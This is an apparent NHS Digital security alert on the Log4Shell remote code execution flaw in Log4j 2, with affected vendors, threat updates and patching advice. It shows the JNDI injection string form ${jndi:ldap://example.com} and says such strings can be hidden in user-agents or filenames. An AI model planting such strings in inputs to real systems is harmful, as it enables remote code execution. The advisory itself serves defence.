Skip to main content

Log4Shell RCE Vulnerability

Log4Shell is an actively exploited remote code execution vulnerability in the open-source Log4j 2 logging library. Log4j is used in numerous Java applications and is present in many services as well as a wide range of cloud services.

Report a cyber attack: call 0300 303 5222 or email carecert@nhsdigital.nhs.uk

Summary

Log4Shell is an actively exploited remote code execution vulnerability in the open-source Log4j 2 logging library. Log4j is used in numerous Java applications and is present in many services as well as a wide range of cloud services.


Affected platforms

The following platforms are known to be affected:

Threat details

Log4Shell actively exploited

Log4Shell has been actively targeted since the beginning of December 2021, with widespread scanning and exploitation activity over the past week. This activity has increased rapidly, with hundreds of exploits attempted per second.

Introduction

The Apache Foundation has releases details of a critical remote code execution (RCE) vulnerability, known as Log4Shell, in their Log4j 2 open-source logging library. They state that exploitation of Log4Shell would allow an unauthenticated remote attacker who can control log messages or message parameters to take execute arbitrary code on an affected system.

Proof-of-concept exploits for Log4Shell are freely available on public code repositories, with the most popular exploits being copied hundred's of times.

Note: Version 1 of the Log4j library is no longer supported and is affected by multiple security vulnerabilities. Developers should migrate to the latest version of Log4j 2.

Widespread usage of Log4j

Log4j is tracked as a dependency in at least 1800 unique code libraries and projects, many of which are then integrated into cloud services and enterprise applications.

At the time of publication, the following vendors and services are known to be impacted (please see following list)

Affected vendors list

Please note this list may not be current or exhaustive.

  • Akamai
  • Amazon Web Services
  • Apache Foundation
  • CarbonBlack
  • Cisco
  • Citrix
  • Cloudflare
  • Cpanel
  • Debian
  • Dell
  • Docker
  • DocuSign
  • ESET
  • F5 Networks
  • Fortinet
  • Google Cloud
  • HPE
  • Huawei
  • IBM
  • Imperva
  • Microsoft
  • Oracle
  • Palo Alto Networks
  • ProofPoint
  • Pulse Secure
  • RSA
  • Salesforce
  • SonicWall
  • Splunk
  • Tableau
  • TP-Link
  • Trend Micro
  • Ubuntu
  • VMware
  • Zoho

Vulnerability details

Log4Shell is the result of a feature in the Log4j library failing to properly validate incoming data. Log4j uses Message Lookup Substitution (MLS) to define a number of 'lookup' functions that allow Log4j to alter content as it is being logged and is typically used to dynamically edit certain logging tags. MLS is triggered whenever content with the form ${example} appears in strings to be logged

MLS uses several lookup methods including Java Naming and Directory Interface (JNDI), a directory service API that allows Java clients - such as Log4j - to find and execute resources. JNDI is able to pull content directly from outside domains using several network protocols. By triggering a JNDI lookup over Lightweight Directory Access Protocol (LDAP) to a specific domain in the form ${jndi:ldap://example.com}, Log4j will download and execute content hosted on that domain. This content will also be executed with the same privileges as the system Log4j is running on.

JNDI:LDAP lookups can be hidden easily within any content logged by Log4j, including browser user-agents or filenames. JNDI features used in configuration, log messages, and parameters do not protect against attacker-controlled LDAP and other JNDI-related endpoints.

HSA Response Needed

Given the nature of this vulnerability and the difficulty in assessing whether or not a vulnerable version of log4j is incorporated in a piece of software, a supplementary email containing a link to a Microsoft Form will be sent for completion by organisations.

Each organisation is asked to respond with the relevant information as soon as possible.


Threat updates

Date Update
29 Dec 2021 Log4j 2.17.1 released

The Apache Foundation has released Log4j 2.17.1 in order to address a vulnerability that claims to allow for remote code execution. To exploit this issue an attacker would require access and relevant privileges to modify the logging configuration file. This issue is being tracked as CVE-2021-44832.

19 Dec 2021 Issues with Log4j 2.16 release

The Apache Foundation has released Log4j 2.17 in order to address an infinite recursion bug in version 2.16 that could cause denial of service. This issue is being tracked as CVE-2021-45105.

15 Dec 2021 Issues with Log4j 2.15 release

The Apache Foundation has released Log4j 2.16 in order to address an issue with version 2.15 where it does not adequately address Log4Shell in certain non-default configurations. This issue is being tracked as CVE-2021-45056

14 Dec 2021 Threat Update - December 14th
  • The Elknot DDoS botnet now appears to be targeting Log4Shell. It uses the same command and control infrastructure as the previously observed Mirai and Muhstik attacks.
  • Khonasri, a new ransomware family, has been seen on Log4Shell vulnerable systems. The simple ransom tool appears to be delivered by a new version of the Orcus trojan.
  • There has been a marked increase in XMRig activity overnight, suggesting attackers are delivering the cryptomining application to vulnerable systems.
13 Dec 2021 Threat Update - December 13th
  • New Mirai and Muhstik botnet variants have been observed exploiting Log4Shell in Windows and Linux based Internet-of-Things devices. 
  • Kinsing is exploiting Log4Shell in attacks against web application servers in order to enrol connected Windows systems into their cryptomining botnet
  • Cobalt Strike Beacon loaders have also been seen over the weekend, with most delivering unidentified cryptominers.

Remediation advice

Affected organisations should take the following actions as soon as possible to address Log4Shell:

  • Ensure all in-house applications or services using Log4j are updated to a minimum of Log4j 2.17.0
  • Contact your relevant suppliers and ensure all affected third-party applications and services are fully updated, or the suppliers have taken appropriate mitigating steps, to address Log4Shell.
  • If patching is not possible, remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

It may not always be easy for organisations to identify which applications use Apache Log4j software. Please reach out to your suppliers and discuss applying mitigations or installing updates if Log4j is used.



CVE Vulnerabilities

Last edited: 29 December 2021 9:31 am